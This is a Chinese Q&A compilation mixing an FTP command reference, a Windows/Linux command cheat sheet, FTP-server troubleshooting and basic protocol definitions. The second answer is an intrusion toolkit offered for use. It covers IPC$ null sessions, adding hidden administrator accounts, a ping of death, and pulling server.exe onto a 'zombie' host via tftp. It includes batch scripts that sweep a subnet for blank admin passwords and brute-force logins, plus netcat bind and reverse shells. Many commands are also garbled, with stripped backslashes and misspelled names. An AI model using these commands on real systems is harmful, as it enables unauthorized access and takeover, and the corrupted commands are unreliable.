❶ FTP常用命令有哪些
FTP命令是Internet用戶使用最頻繁的命令之一,不論是在DOS還是UNIX操作系統下使用FTP,都會遇到大量的FTP內部命令。熟悉並靈活應用FTP的內部命令,可以大大方便使用者,並收到事半功倍之效。
FTP的命令行格式為:ftp -v -d -i -n -g [主機名],其中
-v顯示遠程伺服器的所有響應信息;
-n限制ftp的自動登錄,即不使用;
.n etrc文件;
-d使用調試方式;
-g取消全局文件名。
ftp使用的內部命令如下(中括弧表示可選項):
1.![cmd[args]]:在本地機中執行交互shell,exit回到ftp環境,如:!ls*.zip.
2.$ macro-ame[args]:執行宏定義macro-name.
3.account[password]:提供登錄遠程系統成功後訪問系統資源所需的補充口令。
4.append local-file[remote-file]:將本地文件追加到遠程系統主機,若未指定遠程系統文件名,則使用本地文件名。
5.ascii:使用ascii類型傳輸方式。
6.bell:每個命令執行完畢後計算機響鈴一次。
7.bin:使用二進制文件傳輸方式。
8.bye:退出ftp會話過程。
9.case:在使用mget時,將遠程主機文件名中的大寫轉為小寫字母。
10.cd remote-dir:進入遠程主機目錄。
11.cp:進入遠程主機目錄的父目錄。
12.chmod mode file-name:將遠程主機文件file-name的存取方式設置為mode,如:chmod 777 a.out。
13.close:中斷與遠程伺服器的ftp會話(與open對應)。
14.cr:使用asscii方式傳輸文件時,將回車換行轉換為回行。
15.delete remote-file:刪除遠程主機文件。
16.debug[debug-value]:設置調試方式,顯示發送至遠程主機的每條命令,如:deb up 3,若設為0,表示取消debug。
17.dir[remote-dir][local-file]:顯示遠程主機目錄,並將結果存入本地文件local-file。
18.disconnection:同close。
19.form format:將文件傳輸方式設置為format,預設為file方式。
20.get remote-file[local-file]:將遠程主機的文件remote-file傳至本地硬碟的local-file。
21.glob:設置mdelete,mget,mput的文件名擴展,預設時不擴展文件名,同命令行的-g參數。
22.hash:每傳輸1024位元組,顯示一個hash符號(#)。
23.help[cmd]:顯示ftp內部命令cmd的幫助信息,如:help get。
24.idle[seconds]:將遠程伺服器的休眠計時器設為[seconds]秒。
25.image:設置二進制傳輸方式(同binary)。
26.lcd[dir]:將本地工作目錄切換至dir。
27.ls[remote-dir][local-file]:顯示遠程目錄remote-dir,並存入本地文件local-file。
28.macdef macro-name:定義一個宏,遇到macdef下的空行時,宏定義結束。
29.mdelete[remote-file]:刪除遠程主機文件。
30.mdir remote-files local-file:與dir類似,但可指定多個遠程文件,如:mdir *.o.*.zipoutfile
31.mget remote-files:傳輸多個遠程文件。
32.mkdir dir-name:在遠程主機中建一目錄。
33.mls remote-file local-file:同nlist,但可指定多個文件名。
34.mode[modename]:將文件傳輸方式設置為modename,預設為stream方式。
35.modtime file-name:顯示遠程主機文件的最後修改時間。
36.mput local-file:將多個文件傳輸至遠程主機。
37.newer file-name:如果遠程機中file-name的修改時間比本地硬碟同名文件的時間更近,則重傳該文件。
38.nlist[remote-dir][local-file]:顯示遠程主機目錄的文件清單,並存入本地硬碟的local-file。
39.nmap[inpattern outpattern]:設置文件名映射機制,使得文件傳輸時,文件中的某些字元相互轉換,如:nmap $1.$2.$3[$1,$2].[$2,$3],則傳輸文件a1.a2.a3時,文件名變為a1,a2。該命令特別適用於遠程主機為非UNIX機的情況。
40.ntrans[inchars[outchars]]:設置文件名字元的翻譯機制,如ntrans 1R,則文件名LLL將變為RRR。
41.open host[port]:建立指定ftp伺服器連接,可指定連接埠。
42.passive:進入被動傳輸方式。
43.prompt:設置多個文件傳輸時的交互提示。
44.proxy ftp-cmd:在次要控制連接中,執行一條ftp命令,該命令允許連接兩個ftp伺服器,以在兩個伺服器間傳輸文件。第一條ftp命令必須為open,以首先建立兩個伺服器間的連接。
45.put local-file[remote-file]:將本地文件local-file傳送至遠程主機。
46.pwd:顯示遠程主機的當前工作目錄。
47.quit:同bye,退出ftp會話。
48.quote arg1,arg2...:將參數逐字發至遠程ftp伺服器,如:quote syst.
49.recv remote-file[local-file]:同get。
50.reget remote-file[local-file]:類似於get,但若local-file存在,則從上次傳輸中斷處續傳。
51.rhelp[cmd-name]:請求獲得遠程主機的幫助。
52.rstatus[file-name]:若未指定文件名,則顯示遠程主機的狀態,否則顯示文件狀態。
53.rename[from][to]:更改遠程主機文件名。
54.reset:清除回答隊列。
55.restart marker:從指定的標志marker處,重新開始get或put,如:restart 130。
56.rmdir dir-name:刪除遠程主機目錄。
57.runique:設置文件名唯一性存儲,若文件存在,則在原文件後加後綴..1,.2等。
58.send local-file[remote-file]:同put。
59.sendport:設置PORT命令的使用。
60.site arg1,arg2...:將參數作為SITE命令逐字發送至遠程ftp主機。
61.size file-name:顯示遠程主機文件大小,如:site idle 7200。
62.status:顯示當前ftp狀態。
63.struct[struct-name]:將文件傳輸結構設置為struct-name,預設時使用stream結構。
64.sunique:將遠程主機文件名存儲設置為唯一(與runique對應)。
65.system:顯示遠程主機的操作系統類型。
66.tenex:將文件傳輸類型設置為TENEX機的所需的類型。
67.tick:設置傳輸時的位元組計數器。
68.trace:設置包跟蹤。
69.type[type-name]:設置文件傳輸類型為type-name,預設為ascii,如:type binary,設置二進制傳輸方式。
70.umask[newmask]:將遠程伺服器的預設umask設置為newmask,如:umask 3。
71.user user-name[password][account]:向遠程主機表明自己的身份,需要口令時,必須輸入口令,如:user anonymous my@email。
72.verbose:同命令行的-v參數,即設置詳盡報告方式,ftp伺服器的所有響應都將顯示給用戶,預設為on.
73.?[cmd]:同help。
❷ 電腦方面的問題
CMD命令
net use ipipc$ " " /user:" " 建立IPC空鏈接
net use ipipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: ipc$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: ipc$ 登陸後映射對方C:到本地為H:
net use ipipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schele)
net stop 服務名 停止某服務
net time 目標ip 查看對方時間
net time 目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net view ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件
二:
del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符路徑要移動的文件名 存放移動文件的路徑移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑文件名1 路徑文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
c:srv.exe ipadmin$ 復制本地c:srv.exe到對方的admin下
1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
ipadmin$svv.exe c: 或:ipadmin$*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地C:
x 要復制的文件或目錄樹 目標地址目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:server.exe 登陸後,將「IP」的server.exe下載到目標主機c:server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:server.exe 登陸後,上傳本地c:server.exe至主機
ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變數)
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:「:start」標簽)
call 路徑批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:、D:統一改為:EntSky )
三:
ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 注冊表文件名 導出注冊表
cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D: est.txt /D pub 設定d: est.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶許可權列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網路配置情況
四:
IIS服務命令:
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件
ascii 設定以ASCII方式傳送文件(預設值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cp 返回上一級目錄
close 中斷與遠程伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件許可權
case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠程主機目錄
cp 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip
#5 五:
MYsql 命令:
mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by "密碼"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。
use mysql;
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (欄位設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqlmp --opt school>school.bbb 備份資料庫:(命令在DOS的mysql in目錄下執行);注釋:將資料庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啟本地或遠程主機。
參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,范圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。
例:shutdown /r /t 0 立即重啟本地主機(無延時)
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
參數說明:/M 列出當前進程載入的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。
六:
Linux系統下基本命令: 要區分大小寫
uname 顯示版本信息(同win2K的 ver)
dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 文件名 查看文件內容
cat >abc.txt 往abc.txt文件中寫上內容。
more 文件名 以一頁一頁的方式顯示一個文本文件。
cp 復制文件
mv 移動文件
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字元串
diff 檔案文件比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的文件
su 許可權轉換為指定使用者
telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。
ftp ftp連接上某伺服器(同win2K)
附:批處理命令與變數
1:for命令及變數 基本格式:
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變數則用:%%i ,而調用變數時用:%i% ,變數是區分大小寫的(%i 不等於 %I)。
批處理每次能處理的變數從%0—%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2—%9指輸入的第2-9個值;例:net use ipipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3
(set):指定一個或一組文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ 「(1 1 254)」第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;「(1 -1 254)」說明:即從254到1 }
command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開
command_parameters:為特定命令指定參數或命令行開關
IN (set):指在(set)中取值;DO command :指執行command
參數:/L 指用增量形式{ (set)為增量形式時 };/F 指從文件中不斷取值,直到取完為止{ (set)為文件時,如(d:pass.txt)時 }。
用法舉例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。
/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變數(ip的最後一位);& 用來隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200
存為:ok.exe 說明:輸入一個IP後,用字典文件d:pass.dic來暴解d:user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。
七:
2:if命令及變數 基本格式:
IF [not] errorlevel 數字 命令語句 如果程序運行最後返回一個等於或大於指定數字的退出編碼,指定條件為「真」。
例:IF errorlevel 0 命令 指程序執行後返回的值為0時,就值行後面的命令;IF not errorlevel 1 命令指程序執行最後返回的值不等於1,就執行後面的命令。
0 指發現並成功執行(真);1 指沒有發現、沒執行(假)。
IF [not] 字元串1==字元串2 命令語句 如果指定的文本字元串匹配(即:字元串1 等於 字元串2),就執行後面的命令。
例:「if "%2%"=="4" goto start」指:如果輸入的第二個變數為4時,執行後面的命令(注意:調用變數時就%變數名%並加" ")
IF [not] exist 文件名 命令語句 如果指定的文件名存在,就執行後面的命令。
例:「if not nc.exe goto end」指:如果沒有發現nc.exe文件就跳到":end"標簽處。
IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字元串1==字元串2 命令語句 else 命令語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上:else 命令語句後指:當前面的條件不成立時,就指行else後面的命令。注意:else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用< >括起來,因為del命令要單獨一行時才能執行,用上< >後就等於是單獨一行了;例如:「if exist test.txt. <del test.txt.> else echo test.txt.missing 」,注意命令中的「.」
(二)系統外部命令(均需下載相關工具):
1、瑞士軍刀:nc.exe
參數說明:
-h 查看幫助信息
-d 後台模式
-e prog程序重定向,一但連接就執行〔危險〕
-i secs延時的間隔
-l 監聽模式,用於入站連接
-L 監聽模式,連接天閉後仍然繼續監聽,直到CTR+C
-n IP地址,不能用域名
-o film記錄16進制的傳輸
-p[空格]埠 本地埠號
-r 隨機本地及遠程埠
-t 使用Telnet交互方式
-u UDP模式
-v 詳細輸出,用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入,輸出關掉(用於掃錨時)
基本用法:
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠
nc -l -p 80 開啟本機的TCP 80埠並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的TCP 5354埠
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell並反向連接192.168.0.2的5354埠
高級用法:
nc -L -p 80 作為蜜罐用1:開啟並不停地監聽80埠,直到CTR+C為止
nc -L -p 80 > c:log.txt 作為蜜罐用2:開啟並不停地監聽80埠,直到CTR+C,同時把結果輸出到c:log.txt
nc -L -p 80 < c:honeyport.txt 作為蜜罐用3-1:開啟並不停地監聽80埠,直到CTR+C,並把c:honeyport.txt中內容送入管道中,亦可起到傳送文件作用
type.exe c:honeyport | nc -L -p 80 作為蜜罐用3-2:開啟並不停地監聽80埠,直到CTR+C,並把c:honeyport.txt中內容送入管道中,亦可起到傳送文件作用
本機上用:nc -l -p 本機埠
在對方主機上用:nc -e cmd.exe 本機IP -p 本機埠 *win2K
nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆
本機上用:nc -d -l -p 本機埠 < 要傳送的文件路徑及名稱
在對方主機上用:nc -vv 本機IP 本機埠 > 存放文件的路徑及名稱 傳送文件到對方主機
備 註:
| 管道命令
< 或 > 重定向命令。「<」,例如:tlntadmn < test.txt 指把test.txt的內容賦值給tlntadmn命令
@ 表示執行@後面的命令,但不會顯示出來(後台執行);例:@dir c:winnt >> d:log.txt 意思是:後台執行dir,並把結果存在d:log.txt中
>與>>的區別 ">"指:覆蓋;">>"指:保存到(添加到)。
如:@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二個命令分別執行二次比較看:用>>的則是把二次的結果都保存了,而用:>則只有一次的結果,是因為第二次的結果把第一次的覆蓋了。
八:
2、掃錨工具:xscan.exe
基本格式
xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項] 掃錨"起始IP到終止IP"段的所有主機信息
xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機IP列表文件名"中的所有主機信息
檢測項目
-active 檢測主機是否存活
-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)
-port 檢測常用服務的埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
logoff---------注銷命令
iexpress-------木馬捆綁工具,系統自帶
Nslookup-------IP地址偵測器
還有很多,想要的話,把郵箱地址發過來!我這有好多,這上面弄不完。
❸ 我在自己的電腦用serv-u建了一個FTP伺服器,但無法上傳文件
553-Can't open that file: Permission denied 打不開此文件
這個doc文件如果正處於被打開的狀態,那是傳不了的
[右] 553 Rename/move failure: No such file or directory 重命名或移動失敗,未找到文件或者目錄
serveru有虛擬目錄和實際物理目錄之分, 光設虛擬目錄不行還要將它指向實際的物理目錄,
❹ 用LINUX搭建的VSFTP,如何在FTP內對文件進行移動操作
FTP沒有移動文件這個命令,客戶端工具的移動操作也是通過先下載再上傳實現的,所以還是裝個客戶端整理吧。還有,既然是root,怎麼不直接登錄系統進行整理。
❺ 什麼是ftp,http,SQL,php,NAT
FTP是FileTransferProtocol的縮寫,中文翻譯為"文件傳輸協議"。它是在計算機和網路之間交換文件的最簡單的方法。像傳送可顯示文件的HTTP和電子郵件的SMTP一樣,FTP也是應用TCP/IP協議的應用協議標准。FTP通常用於將網頁從創作者上傳到伺服器上供人使用,而從伺服器上下傳文件也是一種非常普遍的使用方式。
你可以用非常簡單的DOS界面來使用FTP,在Windows98中,單擊"開始→運行",輸入FTP後面接著輸入主機IP地址或網址(注意,不要加上http://),例如輸入:www.intodigi.com,就可以連接到筆者的網站,連接後會出現User(用戶名)和password(密碼),連接成功後,就可以用命令來操作。常用的有dir:顯示此目錄下的文件get:下載文件put:上傳文件。或者使用第三方提供的圖形界面的FTP來更新(刪除,重命名,移動和復制)伺服器上的文件,一般的FTP軟體還支持續傳的功能。現在有許多伺服器支持匿名登錄,允許用戶使用FTP和anonymous作為用戶名進行登錄,通常可使用任何口令或只按回車鍵。
HTTP(Hypertext Transfer Protocol),即超文本傳輸協議。是WWW瀏覽器和WWW伺服器之間的應用層通訊協議。HTTP協議是基於TCP/IP之上的協議,它不僅保證正確傳輸超文本文檔,還確定傳輸文檔中的哪一部分,以及哪一部分內容首先顯示(如文本先與圖形)等等
SQL是一種編程語言,下面對其進行一個詳細介紹:
SQL(Structure Query Language)語言是資料庫的核心語言。
SQL的發展是從1974年開始的,其發展過程如下:
1974年-----由Boyce和Chamberlin提出,當時稱SEQUEL。
1976年-----IBM公司的Sanjase研究所在研製RDBMS SYSTEM R
時改為SQL。
1979年-----ORACLE公司發表第一個基於SQL的商業化RDBMS產品。
1982年-----IBM公司出版第一個RDBMS語言SQL/DS。
1985年-----IBM公司出版第一個RDBMS語言DB2。
1986年-----美國國家標准化組織ANSI宣布SQL作為資料庫工業標准。
SQL是一個標準的資料庫語言,是面向集合的描述性非過程化語言。
它功能強,效率高,簡單易學易維護(迄今為止,我還沒見過比它還好
學的語言)。然而SQL語言由於以上優點,同時也出現了這樣一個問題:
它是非過程性語言,即大多數語句都是獨立執行的,與上下文無關,而
絕大部分應用都是一個完整的過程,顯然用SQL完全實現這些功能是很困
難的。所以大多數資料庫公司為了解決此問題,作了如下兩方面的工作:
(1)擴充SQL,在SQL中引入過程性結構;(2)把SQL嵌入到高級語言中,
以便一起完成一個完整的應用。
二 SQL語言的分類
SQL語言共分為四大類:數據查詢語言DQL,數據操縱語言DML,
數據定義語言DDL,數據控制語言DCL。
1 數據查詢語言DQL
數據查詢語言DQL基本結構是由SELECT子句,FROM子句,WHERE
子句組成的查詢塊:
SELECT <欄位名表>
FROM <表或視圖名>
WHERE <查詢條件>
2 數據操縱語言
數據操縱語言DML主要有三種形式:
1) 插入:INSERT
2) 更新:UPDATE
3) 刪除:DELETE
3 數據定義語言DDL
數據定義語言DDL用來創建資料庫中的各種對象-----表、視圖、
索引、同義詞、聚簇等如:
CREATE TABLE/VIEW/INDEX/SYN/CLUSTER
| | | | |
表 視圖 索引 同義詞 簇
4 數據控制語言DCL
數據控制語言DCL用來授予或回收訪問資料庫的某種特權,並控制
